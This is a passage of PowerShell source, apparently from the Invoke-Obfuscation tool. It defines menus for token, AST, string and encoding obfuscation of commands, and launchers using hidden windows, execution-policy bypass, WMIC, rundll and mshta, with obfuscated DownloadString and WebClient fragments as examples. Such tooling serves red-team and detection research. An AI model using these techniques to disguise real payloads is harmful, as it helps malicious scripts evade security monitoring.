[ValidateNotNullOrEmpty()] + [String] + $ScriptPath, + + [String] + $Command, + + [Switch] + $NoExit, + + [Switch] + $Quiet + ) + + # Define variables for CLI functionality. + $Script:CliCommands = @() + $Script:CompoundCommand = @() + $Script:QuietWasSpecified = $FALSE + $CliWasSpecified = $FALSE + $NoExitWasSpecified = $FALSE + + # Either convert ScriptBlock to a String or convert script at $Path to a String. + If($PSBoundParameters['ScriptBlock']) + { + $Script:CliCommands += ('set scriptblock ' + [String]$ScriptBlock) + } + If($PSBoundParameters['ScriptPath']) + { + $Script:CliCommands += ('set scriptpath ' + $ScriptPath) + } + + # Append Command to CliCommands if specified by user input. + If($PSBoundParameters['Command']) + { + $Script:CliCommands += $Command.Split(',') + $CliWasSpecified = $TRUE + + If($PSBoundParameters['NoExit']) + { + $NoExitWasSpecified = $TRUE + } + + If($PSBoundParameters['Quiet']) + { + # Create empty Write-Host and Start-Sleep proxy functions to cause any Write-Host or Start-Sleep invocations to not do anything until non-interactive -Command values are finished being processed. + Function Write-Host {} + Function Start-Sleep {} + $Script:QuietWasSpecified = $TRUE + } + } + + ######################################## + ## Script-wide variable instantiation ## + ######################################## + + # Script-level array of Show Options menu, set as SCRIPT-level so it can be set from within any of the functions. + # Build out menu for Show Options selection from user in Show-OptionsMenu menu. + $Script:ScriptPath = '' + $Script:ScriptBlock = '' + $Script:CliSyntax = @() + $Script:ExecutionCommands = @() + $Script:ObfuscatedCommand = '' + $Script:ObfuscatedCommandHistory = @() + $Script:ObfuscationLength = '' + $Script:OptionsMenu = @() + $Script:OptionsMenu += , @('ScriptPath ' , $Script:ScriptPath , $TRUE) + $Script:OptionsMenu += , @('ScriptBlock' , $Script:ScriptBlock , $TRUE) + $Script:OptionsMenu += , @('CommandLineSyntax' , $Script:CliSyntax , $FALSE) + $Script:OptionsMenu += , @('ExecutionCommands' , $Script:ExecutionCommands, $FALSE) + $Script:OptionsMenu += , @('ObfuscatedCommand' , $Script:ObfuscatedCommand, $FALSE) + $Script:OptionsMenu += , @('ObfuscationLength' , $Script:ObfuscatedCommand, $FALSE) + # Build out $SetInputOptions from above items set as $TRUE (as settable). + $SettableInputOptions = @() + ForEach($Option in $Script:OptionsMenu) + { + If($Option[2]) {$SettableInputOptions += ([String]$Option[0]).ToLower().Trim()} + } + + # Script-level variable for whether LAUNCHER has been applied to current ObfuscatedToken. + $Script:LauncherApplied = $FALSE + + # Ensure Invoke-Obfuscation module was properly imported before continuing. + If(!(Get-Module Invoke-Obfuscation | Where-Object {$_.ModuleType -eq 'Manifest'})) + { + $PathTopsd1 = "$ScriptDir\Invoke-Obfuscation.psd1" + If($PathTopsd1.Contains(' ')) {$PathTopsd1 = '"' + $PathTopsd1 + '"'} + Write-Host "`n`nERROR: Invoke-Obfuscation module is not loaded. You must run:" -ForegroundColor Red + Write-Host " Import-Module $PathTopsd1`n`n" -ForegroundColor Yellow + Start-Sleep -Seconds 3 + Exit + } + + # Maximum size for cmd.exe and clipboard. + $CmdMaxLength = 8190 + + # Build interactive menus. + $LineSpacing = '[*] ' + + # Main Menu. + $MenuLevel = @() + $MenuLevel+= , @($LineSpacing, 'TOKEN' , 'Obfuscate PowerShell command ') + $MenuLevel+= , @($LineSpacing, 'AST' , "`tObfuscate PowerShell nodes <(PS3.0+)>") + $MenuLevel+= , @($LineSpacing, 'STRING' , 'Obfuscate entire command as a ') + $MenuLevel+= , @($LineSpacing, 'ENCODING' , 'Obfuscate entire command via ') + $MenuLevel+= , @($LineSpacing, 'COMPRESS' , 'Convert entire command to one-liner and ') + $MenuLevel+= , @($LineSpacing, 'LAUNCHER' , 'Obfuscate command args w/ techniques (run once at end)') + + # Main\Token Menu. + $MenuLevel_Token = @() + $MenuLevel_Token += , @($LineSpacing, 'STRING' , 'Obfuscate tokens (suggested to run first)') + $MenuLevel_Token += , @($LineSpacing, 'COMMAND' , 'Obfuscate tokens') + $MenuLevel_Token += , @($LineSpacing, 'ARGUMENT' , 'Obfuscate tokens') + $MenuLevel_Token += , @($LineSpacing, 'MEMBER' , 'Obfuscate tokens') + $MenuLevel_Token += , @($LineSpacing, 'VARIABLE' , 'Obfuscate tokens') + $MenuLevel_Token += , @($LineSpacing, 'TYPE ' , 'Obfuscate tokens') + $MenuLevel_Token += , @($LineSpacing, 'COMMENT' , 'Remove all tokens') + $MenuLevel_Token += , @($LineSpacing, 'WHITESPACE' , 'Insert random (suggested to run last)') + $MenuLevel_Token += , @($LineSpacing, 'ALL ' , 'Select choices from above (random order)') + + $MenuLevel_Token_String = @() + $MenuLevel_Token_String += , @($LineSpacing, '1' , "Concatenate --> e.g. <('co'+'ffe'+'e')>" , @('Out-ObfuscatedTokenCommand', 'String', 1)) + $MenuLevel_Token_String += , @($LineSpacing, '2' , "Reorder --> e.g. <('{1}{0}'-f'ffee','co')>" , @('Out-ObfuscatedTokenCommand', 'String', 2)) + + $MenuLevel_Token_Command = @() + $MenuLevel_Token_Command += , @($LineSpacing, '1' , 'Ticks --> e.g. ' , @('Out-ObfuscatedTokenCommand', 'Command', 1)) + $MenuLevel_Token_Command += , @($LineSpacing, '2' , "Splatting + Concatenate --> e.g. <&('Ne'+'w-Ob'+'ject')>" , @('Out-ObfuscatedTokenCommand', 'Command', 2)) + $MenuLevel_Token_Command += , @($LineSpacing, '3' , "Splatting + Reorder --> e.g. <&('{1}{0}'-f'bject','New-O')>" , @('Out-ObfuscatedTokenCommand', 'Command', 3)) + + $MenuLevel_Token_Argument = @() + $MenuLevel_Token_Argument += , @($LineSpacing, '1' , 'Random Case --> e.g. ' , @('Out-ObfuscatedTokenCommand', 'CommandArgument', 1)) + $MenuLevel_Token_Argument += , @($LineSpacing, '2' , 'Ticks --> e.g. ' , @('Out-ObfuscatedTokenCommand', 'CommandArgument', 2)) + $MenuLevel_Token_Argument += , @($LineSpacing, '3' , "Concatenate --> e.g. <('Ne'+'t.We'+'bClient')>" , @('Out-ObfuscatedTokenCommand', 'CommandArgument', 3)) + $MenuLevel_Token_Argument += , @($LineSpacing, '4' , "Reorder --> e.g. <('{1}{0}'-f'bClient','Net.We')>" , @('Out-ObfuscatedTokenCommand', 'CommandArgument', 4)) + + $MenuLevel_Token_Member = @() + $MenuLevel_Token_Member += , @($LineSpacing, '1' , 'Random Case --> e.g. ' , @('Out-ObfuscatedTokenCommand', 'Member', 1)) + $MenuLevel_Token_Member += , @($LineSpacing, '2' , 'Ticks --> e.g. ' , @('Out-ObfuscatedTokenCommand', 'Member', 2)) + $MenuLevel_Token_Member += , @($LineSpacing, '3' , "Concatenate --> e.g. <('dOwnLo'+'AdsT'+'Ring').Invoke()>" , @('Out-ObfuscatedTokenCommand', 'Member', 3)) + $MenuLevel_Token_Member += , @($LineSpacing, '4' , "Reorder --> e.g. <('{1}{0}'-f'dString','Downloa').Invoke()>" , @('Out-ObfuscatedTokenCommand', 'Member', 4)) + + $MenuLevel_Token_Variable = @() + $MenuLevel_Token_Variable += , @($LineSpacing, '1' , 'Random Case + {} + Ticks --> e.g. <${c`hEm`eX}>' , @('Out-ObfuscatedTokenCommand', 'Variable', 1)) + + $MenuLevel_Token_Type = @() + $MenuLevel_Token_Type += , @($LineSpacing, '1' , "Type Cast + Concatenate --> e.g. <[Type]('Con'+'sole')>" , @('Out-ObfuscatedTokenCommand', 'Type', 1)) + $MenuLevel_Token_Type += , @($LineSpacing, '2' , "Type Cast + Reordered --> e.g. <[Type]('{1}{0}'-f'sole','Con')>" , @('Out-ObfuscatedTokenCommand', 'Type', 2)) + + $MenuLevel_Token_Whitespace = @() + $MenuLevel_Token_Whitespace += , @($LineSpacing, '1' , "`tRandom Whitespace --> e.g. <.( 'Ne' +'w-Ob' + 'ject')>" , @('Out-ObfuscatedTokenCommand', 'RandomWhitespace', 1)) + + $MenuLevel_Token_Comment = @() + $MenuLevel_Token_Comment += , @($LineSpacing, '1' , "Remove Comments --> e.g. self-explanatory" , @('Out-ObfuscatedTokenCommand', 'Comment', 1)) + + $MenuLevel_Token_All = @() + $MenuLevel_Token_All += , @($LineSpacing, '1' , "`tExecute Token obfuscation techniques (random order)" , @('Out-ObfuscatedTokenCommandAll', '', '')) + + # Main\Token Menu. + $MenuLevel_Ast = @() + $MenuLevel_Ast += , @($LineSpacing, 'NamedAttributeArgumentAst' , 'Obfuscate nodes') + $MenuLevel_Ast += , @($LineSpacing, 'ParamBlockAst' , "`t`tObfuscate nodes") + $MenuLevel_Ast += , @($LineSpacing, 'ScriptBlockAst' , "`t`tObfuscate nodes") + $MenuLevel_Ast += , @($LineSpacing, 'AttributeAst' , "`t`tObfuscate nodes") + $MenuLevel_Ast += , @($LineSpacing, 'BinaryExpressionAst' , "`tObfuscate nodes") + $MenuLevel_Ast += , @($LineSpacing, 'HashtableAst' , "`t`tObfuscate nodes") + $MenuLevel_Ast += , @($LineSpacing, 'CommandAst' , "`t`tObfuscate nodes") + $MenuLevel_Ast += , @($LineSpacing, 'AssignmentStatementAst' , "`tObfuscate nodes") + $MenuLevel_Ast += , @($LineSpacing, 'TypeExpressionAst' , "`tObfuscate nodes") + $MenuLevel_Ast += , @($LineSpacing, 'TypeConstraintAst' , "`tObfuscate nodes") + $MenuLevel_Ast += , @($LineSpacing, 'ALL' , "`t`t`tSelect choices from above") + + $MenuLevel_Ast_NamedAttributeArgumentAst = @() + $MenuLevel_Ast_NamedAttributeArgumentAst += , @($LineSpacing, '1' , 'Reorder e.g. <[Parameter(Mandatory, ValueFromPipeline = $True)]> --> <[Parameter(Mandatory = $True, ValueFromPipeline)]>' , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.NamedAttributeArgumentAst'), 1)) + + $MenuLevel_Ast_ParamBlockAst = @() + $MenuLevel_Ast_ParamBlockAst += , @($LineSpacing, '1' , 'Reorder e.g. --> ' , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.ParamBlockAst'), 1)) + + $MenuLevel_Ast_ScriptBlockAst = @() + $MenuLevel_Ast_ScriptBlockAst += , @($LineSpacing, '1' , 'Reorder e.g. <{ Begin {} Process {} End {} }> --> <{ End {} Begin {} Process {} }>' , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.ScriptBlockAst'), 1)) + + $MenuLevel_Ast_AttributeAst = @() + $MenuLevel_Ast_AttributeAst += , @($LineSpacing, '1' , 'Reorder e.g. <[Parameter(Position = 0, Mandatory)]> --> <[Parameter(Mandatory, Position = 0)]>' , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.AttributeAst'), 1)) + + $MenuLevel_Ast_BinaryExpressionAst = @() + $MenuLevel_Ast_BinaryExpressionAst += , @($LineSpacing, '1' , 'Reorder e.g. <(2 + 3) * 4> --> <4 * (3 + 2)>' , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.BinaryExpressionAst'), 1)) + + $MenuLevel_Ast_HashtableAst = @() + $MenuLevel_Ast_HashtableAst += , @($LineSpacing, '1' , "Reorder e.g. <@{ProviderName = 'Microsoft-Windows-PowerShell'; Id = 4104}> --> <@{Id = 4104; ProviderName = 'Microsoft-Windows-PowerShell'}>" , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.HashtableAst'), 1)) + + $MenuLevel_Ast_CommandAst = @() + $MenuLevel_Ast_CommandAst += , @($LineSpacing, '1' , 'Reorder e.g. --> ' , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.CommandAst'), 1)) + + $MenuLevel_Ast_AssignmentStatementAst = @() + $MenuLevel_Ast_AssignmentStatementAst += , @($LineSpacing, '1' , 'Rename e.g. <$Example = "Example"> --> ' , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.AssignmentStatementAst'), 1)) + + $MenuLevel_Ast_TypeExpressionAst = @() + $MenuLevel_Ast_TypeExpressionAst += , @($LineSpacing, '1' , 'Rename e.g. <[ScriptBlock]> --> <[Management.Automation.ScriptBlock]>' , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.TypeExpressionAst'), 1)) + + $MenuLevel_Ast_TypeConstraintAst = @() + $MenuLevel_Ast_TypeConstraintAst += , @($LineSpacing, '1' , 'Rename e.g. <[Int] $Integer = 1> --> <[System.Int32] $Integer = 1>' , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.TypeConstraintAst'), 1)) + + $MenuLevel_Ast_All = @() + $MenuLevel_Ast_All += , @($LineSpacing, '1' , "`tExecute Ast obfuscation techniques" , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'), '')) + + # Main\String Menu. + $MenuLevel_String = @() + $MenuLevel_String += , @($LineSpacing, '1' , ' entire command' , @('Out-ObfuscatedStringCommand', '', 1)) + $MenuLevel_String += , @($LineSpacing, '2' , ' entire command after concatenating' , @('Out-ObfuscatedStringCommand', '', 2)) + $MenuLevel_String += , @($LineSpacing, '3' , ' entire command after concatenating' , @('Out-ObfuscatedStringCommand', '', 3)) + + # Main\Encoding Menu. + $MenuLevel_Encoding = @() + $MenuLevel_Encoding += , @($LineSpacing, '1' , "`tEncode entire command as " , @('Out-EncodedAsciiCommand' , '', '')) + $MenuLevel_Encoding += , @($LineSpacing, '2' , "`tEncode entire command as " , @('Out-EncodedHexCommand' , '', '')) + $MenuLevel_Encoding += , @($LineSpacing, '3' , "`tEncode entire command as " , @('Out-EncodedOctalCommand' , '', '')) + $MenuLevel_Encoding += , @($LineSpacing, '4' , "`tEncode entire command as " , @('Out-EncodedBinaryCommand' , '', '')) + $MenuLevel_Encoding += , @($LineSpacing, '5' , "`tEncrypt entire command as (AES)" , @('Out-SecureStringCommand' , '', '')) + $MenuLevel_Encoding += , @($LineSpacing, '6' , "`tEncode entire command as " , @('Out-EncodedBXORCommand' , '', '')) + $MenuLevel_Encoding += , @($LineSpacing, '7' , "`tEncode entire command as " , @('Out-EncodedSpecialCharOnlyCommand' , '', '')) + $MenuLevel_Encoding += , @($LineSpacing, '8' , "`tEncode entire command as " , @('Out-EncodedWhitespaceCommand' , '', '')) + + # Main\Compress Menu. + $MenuLevel_Compress = @() + $MenuLevel_Compress += , @($LineSpacing, '1' , "Convert entire command to one-liner and " , @('Out-CompressedCommand' , '', '')) + + # Main\Launcher Menu. + $MenuLevel_Launcher = @() + $MenuLevel_Launcher += , @($LineSpacing, 'PS' , "`t") + $MenuLevel_Launcher += , @($LineSpacing, 'CMD' , ' + PowerShell') + $MenuLevel_Launcher += , @($LineSpacing, 'WMIC' , ' + PowerShell') + $MenuLevel_Launcher += , @($LineSpacing, 'RUNDLL' , ' + PowerShell') + $MenuLevel_Launcher += , @($LineSpacing, 'VAR+' , 'Cmd + set && PowerShell iex ') + $MenuLevel_Launcher += , @($LineSpacing, 'STDIN+' , 'Cmd + | PowerShell - (stdin)') + $MenuLevel_Launcher += , @($LineSpacing, 'CLIP+' , 'Cmd + | Clip && PowerShell iex ') + $MenuLevel_Launcher += , @($LineSpacing, 'VAR++' , 'Cmd + set && Cmd && PowerShell iex ') + $MenuLevel_Launcher += , @($LineSpacing, 'STDIN++' , 'Cmd + set && Cmd | PowerShell - (stdin)') + $MenuLevel_Launcher += , @($LineSpacing, 'CLIP++' , 'Cmd + | Clip && Cmd && PowerShell iex ') + $MenuLevel_Launcher += , @($LineSpacing, 'RUNDLL++' , 'Cmd + set Var && && PowerShell iex Var') + $MenuLevel_Launcher += , @($LineSpacing, 'MSHTA++' , 'Cmd + set Var && && PowerShell iex Var') + + $MenuLevel_Launcher_PS = @() + $MenuLevel_Launcher_PS += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + $MenuLevel_Launcher_PS += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '1')) + $MenuLevel_Launcher_PS += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '1')) + $MenuLevel_Launcher_PS += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '1')) + $MenuLevel_Launcher_PS += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '1')) + $MenuLevel_Launcher_PS += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '1')) + $MenuLevel_Launcher_PS += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '1')) + $MenuLevel_Launcher_PS += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '1')) + $MenuLevel_Launcher_PS += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '1')) + $MenuLevel_Launcher_PS += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '1')) + + $MenuLevel_Launcher_CMD = @() + $MenuLevel_Launcher_CMD += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + $MenuLevel_Launcher_CMD += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '2')) + $MenuLevel_Launcher_CMD += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '2')) + $MenuLevel_Launcher_CMD += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '2')) + $MenuLevel_Launcher_CMD += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '2')) + $MenuLevel_Launcher_CMD += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '2')) + $MenuLevel_Launcher_CMD += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '2')) + $MenuLevel_Launcher_CMD += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '2')) + $MenuLevel_Launcher_CMD += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '2')) + $MenuLevel_Launcher_CMD += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '2')) + + $MenuLevel_Launcher_WMIC = @() + $MenuLevel_Launcher_WMIC += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + $MenuLevel_Launcher_WMIC += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '3')) + $MenuLevel_Launcher_WMIC += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '3')) + $MenuLevel_Launcher_WMIC += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '3')) + $MenuLevel_Launcher_WMIC += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '3')) + $MenuLevel_Launcher_WMIC += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '3')) + $MenuLevel_Launcher_WMIC += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '3')) + $MenuLevel_Launcher_WMIC += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '3')) + $MenuLevel_Launcher_WMIC += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '3')) + $MenuLevel_Launcher_WMIC += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '3')) + + $MenuLevel_Launcher_RUNDLL = @() + $MenuLevel_Launcher_RUNDLL += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + $MenuLevel_Launcher_RUNDLL += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '4')) + $MenuLevel_Launcher_RUNDLL += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '4')) + $MenuLevel_Launcher_RUNDLL += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '4')) + $MenuLevel_Launcher_RUNDLL += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '4')) + $MenuLevel_Launcher_RUNDLL += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '4')) + $MenuLevel_Launcher_RUNDLL += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '4')) + $MenuLevel_Launcher_RUNDLL += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '4')) + $MenuLevel_Launcher_RUNDLL += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '4')) + $MenuLevel_Launcher_RUNDLL += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '4')) + + ${MenuLevel_Launcher_VAR+} = @() + ${MenuLevel_Launcher_VAR+} += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + ${MenuLevel_Launcher_VAR+} += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '5')) + ${MenuLevel_Launcher_VAR+} += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '5')) + ${MenuLevel_Launcher_VAR+} += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '5')) + ${MenuLevel_Launcher_VAR+} += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '5')) + ${MenuLevel_Launcher_VAR+} += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '5')) + ${MenuLevel_Launcher_VAR+} += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '5')) + ${MenuLevel_Launcher_VAR+} += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '5')) + ${MenuLevel_Launcher_VAR+} += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '5')) + ${MenuLevel_Launcher_VAR+} += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '5')) + + ${MenuLevel_Launcher_STDIN+} = @() + ${MenuLevel_Launcher_STDIN+} += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + ${MenuLevel_Launcher_STDIN+} += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '6')) + ${MenuLevel_Launcher_STDIN+} += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '6')) + ${MenuLevel_Launcher_STDIN+} += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '6')) + ${MenuLevel_Launcher_STDIN+} += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '6')) + ${MenuLevel_Launcher_STDIN+} += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '6')) + ${MenuLevel_Launcher_STDIN+} += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '6')) + ${MenuLevel_Launcher_STDIN+} += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '6')) + ${MenuLevel_Launcher_STDIN+} += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '6')) + ${MenuLevel_Launcher_STDIN+} += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '6')) + + ${MenuLevel_Launcher_CLIP+} = @() + ${MenuLevel_Launcher_CLIP+} += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + ${MenuLevel_Launcher_CLIP+} += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '7')) + ${MenuLevel_Launcher_CLIP+} += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '7')) + ${MenuLevel_Launcher_CLIP+} += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '7')) + ${MenuLevel_Launcher_CLIP+} += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '7')) + ${MenuLevel_Launcher_CLIP+} += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '7')) + ${MenuLevel_Launcher_CLIP+} += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '7')) + ${MenuLevel_Launcher_CLIP+} += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '7')) + ${MenuLevel_Launcher_CLIP+} += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '7')) + ${MenuLevel_Launcher_CLIP+} += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '7')) + + ${MenuLevel_Launcher_VAR++} = @() + ${MenuLevel_Launcher_VAR++} += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + ${MenuLevel_Launcher_VAR++} += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '8')) + ${MenuLevel_Launcher_VAR++} += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '8')) + ${MenuLevel_Launcher_VAR++} += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '8')) + ${MenuLevel_Launcher_VAR++} += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '8')) + ${MenuLevel_Launcher_VAR++} += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '8')) + ${MenuLevel_Launcher_VAR++} += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '8')) + ${MenuLevel_Launcher_VAR++} += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '8')) + ${MenuLevel_Launcher_VAR++} += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '8')) + ${MenuLevel_Launcher_VAR++} += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '8')) + + ${MenuLevel_Launcher_STDIN++} = @() + ${MenuLevel_Launcher_STDIN++} += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + ${MenuLevel_Launcher_STDIN++} += , @($LineSpacing, '0' , "`tNO EXECUTION FLAGS" , @('Out-PowerShellLauncher', '', '9')) + ${MenuLevel_Launcher_STDIN++} += , @($LineSpacing, '1' , "`t-NoExit" , @('Out-PowerShellLauncher', '', '9')) + ${MenuLevel_Launcher_STDIN++} += , @($LineSpacing, '2' , "`t-NonInteractive" , @('Out-PowerShellLauncher', '', '9')) + ${MenuLevel_Launcher_STDIN++} += , @($LineSpacing, '3' , "`t-NoLogo" , @('Out-PowerShellLauncher', '', '9')) + ${MenuLevel_Launcher_STDIN++} += , @($LineSpacing, '4' , "`t-NoProfile" , @('Out-PowerShellLauncher', '', '9')) + ${MenuLevel_Launcher_STDIN++} += , @($LineSpacing, '5' , "`t-Command" , @('Out-PowerShellLauncher', '', '9')) + ${MenuLevel_Launcher_STDIN++} += , @($LineSpacing, '6' , "`t-WindowStyle Hidden" , @('Out-PowerShellLauncher', '', '9')) + ${MenuLevel_Launcher_STDIN++} += , @($LineSpacing, '7' , "`t-ExecutionPolicy Bypass" , @('Out-PowerShellLauncher', '', '9')) + ${MenuLevel_Launcher_STDIN++} += , @($LineSpacing, '8' , "`t-Wow64 (to path 32-bit powershell.exe)" , @('Out-PowerShellLauncher', '', '9')) + + ${MenuLevel_Launcher_CLIP++} = @() + ${MenuLevel_Launcher_CLIP++} += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + ${MenuLevel_Launcher_CLIP++} += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '10')) + ${MenuLevel_Launcher_CLIP++} += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '10')) + ${MenuLevel_Launcher_CLIP++} += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '10')) + ${MenuLevel_Launcher_CLIP++} += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '10')) + ${MenuLevel_Launcher_CLIP++} += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '10')) + ${MenuLevel_Launcher_CLIP++} += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '10')) + ${MenuLevel_Launcher_CLIP++} += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '10')) + ${MenuLevel_Launcher_CLIP++} += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '10')) + ${MenuLevel_Launcher_CLIP++} += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit 